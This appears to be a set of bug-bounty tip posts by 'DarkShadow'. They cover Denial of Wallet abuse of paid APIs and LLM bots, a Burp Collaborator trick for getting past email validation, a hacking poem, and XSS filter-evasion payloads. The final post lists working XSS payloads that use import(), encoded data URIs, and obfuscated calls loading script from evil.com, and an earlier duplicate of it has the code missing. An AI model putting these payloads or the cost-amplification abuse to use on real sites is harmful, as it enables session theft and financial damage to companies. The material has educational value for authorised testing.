🧠 Bug Bounty Tip – Denial of Wallet Attacks 💸
You’ve heard of Denial of Service… but what about Denial of Wallet?
🔍 A Denial of Wallet (DoW) attack is when an attacker abuses a feature that’s free for users but costs the company money—draining resources, credits, or cloud budgets.
🚨 How Does This Work? It’s called a cost amplification attack — the attacker doesn’t spend a penny, but the company pays every time the action is triggered.
💥 Common Targets in Bug Bounty Programs:
Cloud Functions (e.g., AWS Lambda, Azure Functions)
Example:
A public search feature calls a Lambda function. You send 10,000 automated requests—boom, the company’s AWS bill spikes 📈.
Email/SMS APIs
Example:
Signup/login feature sends OTPs via Twilio or SendGrid. No rate-limiting? You can abuse this to drain credits by generating endless verification codes to your burner emails or numbers.
AI Chatbots (e.g., OpenAI, Claude APIs)
Example:
The company integrates an LLM bot on their site. Each chat costs them ~$0.01+. You script endless interactions—each response is a costly API call.
💡 Real-world Inspiration
As per PortSwigger’s article:
“A researcher abused a company’s serverless endpoint triggering costly Lambda functions—racking up bills with zero rate-limiting in place.”
Imagine reporting $5,000 of potential cloud misuse from one vulnerable endpoint. Now that’s a high-severity bug.
🛡️ What to Look For as a Bug Hunter:
Public features that trigger server-side logic
APIs without authentication or usage caps
No CAPTCHA or rate-limiting
LLM-based bots or dynamic content generation without user restrictions
Email/SMS OTP or notification abuse opportunities
✅ Tips Before You Report:
Demonstrate the cost impact (e.g., "This endpoint uses OpenAI’s API. X requests = $Y.")
Prove unrestricted access (no auth/rate-limiting)
Suggest mitigations like usage quotas, CAPTCHA, or billing caps
💰 These bugs often hide in plain sight, yet they can cause real financial damage—making them a favorite for high bounty payouts.

⚡ Simple Temp Mail Bypass Method🔥
Hello hunters! I'm DarkShadow, dropping a quick trick for when websites block temporary emails and only accept "legit" ones.
First, understand the security behind it:
When you sign up, the server doesn’t just trust your email. It checks if the domain is live via DNS before accepting and sending emails. Temp mail services use dead domains, so they fail this check.
Bypass Trick:
Use Burp Collaborator to create a "live" email!
Example:
Burp link: https://2twpagov8v5bsbmdwktmtkyygpmia9yy.oastify.com
Make it look like an email:
Since the domain is live (thanks to Burp), you’ll bypass the email validation easily!
Pro Tip:
Use Burp Collaborator emails — they’re not just for bypassing, they also help you spot SSRF vulnerabilities!

Guy's how about my poem🙈
DarkShadow's Vulnerable Heart
I hate XSS — it plays with my mind,
I master SQLi — injections I find.
My crush? XXE — stealing the show,
LFI's easy — just follow the flow.
I dream of RCE — ultimate power,
But a broken auth melts me like a flower.
Race conditions — they're chasing me fast,
IDOR unlocks the secrets of the past.
SSRF teases — from inside the gate,
And open redirects just seal my fate.
DarkShadow hunts — in shadows unseen,
Turning every weakness into my dream.
I don’t just hack —
I rewrite the scene.

DarkShadow truly remembers all of you:
Guys, some very interesting topics are coming soon about Advance XSS, leaking credentials to RCE, Google XSS POC, XXE to RCE, and more.Show your love, guys!
1. Learn less, practice more.
2. Tools are nothing without core knowledge.
3. Chasing basic bugs won't make you elite.
4. Pro hunters create new exploits, not copy old ones.
5. Think beyond checklists — think like an attacker.

Hello Hunters,
DarkShadow here, back again with a quick tip and a heads-up: you might encounter SSRF vulnerabilities in email-sending features!
Take a look at these screenshots — the website actively validates emails to block temporary email addresses. However, when I used Burp Collaborator as the email input, I received DNS, SMTP, and even HTTP responses!
This demonstrates that during pentesting, instead of relying on temporary mail services, you should always use Burp Collaborator to uncover hidden vulnerabilities.
Stay sharp and hunt smarter!

Hey Hunters,
DarkShadow here—dropping a quick tip for your next XSS hunt!
Tired of firewalls blocking alert(), prompt(), or confirm()? Use
Try these sneaky XSS payloads:
Blind Payloads:
Encoded Variants:
Evil Payload.js Example:
Hope these payloads help you understand how to bypass firewalls that block your payloads, even when an XSS vulnerability still exists. However, their effectiveness depends on the specific web application and firewall configurations you're testing against.

DarkShadow here—dropping a quick tip for your next XSS hunt!
Tired of firewalls blocking alert(), prompt(), or confirm()? Use
import() to level up your payload game.Try these sneaky XSS payloads:
import('data:text/javascript;base64,YWxlcnQoJ1hTUyEnKQ==')
// Base64 → alert('XSS!')
import('data:text/javascript,%61lert(document.cookie)')
// %61 = 'a'
Blind Payloads:
<script type="module">import('https://evil.com/payload.js');</script>
<img src=x onerror="import('https://evil.com/payload.js')">
<svg/onload="import('https://evil.com/payload.js')">
(()=>{import('https://evil.com/payload.js')})()
import(/*trick*/'https://evil.com/payload.js')
Encoded Variants:
\u0069\u006d\u0070\u006f\u0072\u0074('https://evil.com/payload.js')
// import as Unicode encoding
<script>import(String.fromCharCode( 104,116,116,112,115,58,47,47,101,118,105,108,46,99,111,109,47,112,97,121,46,106,115));</script>
// https://evil.com/pay.js ASCII decimal encoding
Evil Payload.js Example:
export function pwn() {
alert('DarkShadow is here!');
}
Hope these payloads help you understand how to bypass firewalls that block your payloads, even when an XSS vulnerability still exists. However, their effectiveness depends on the specific web application and firewall configurations you're testing against.
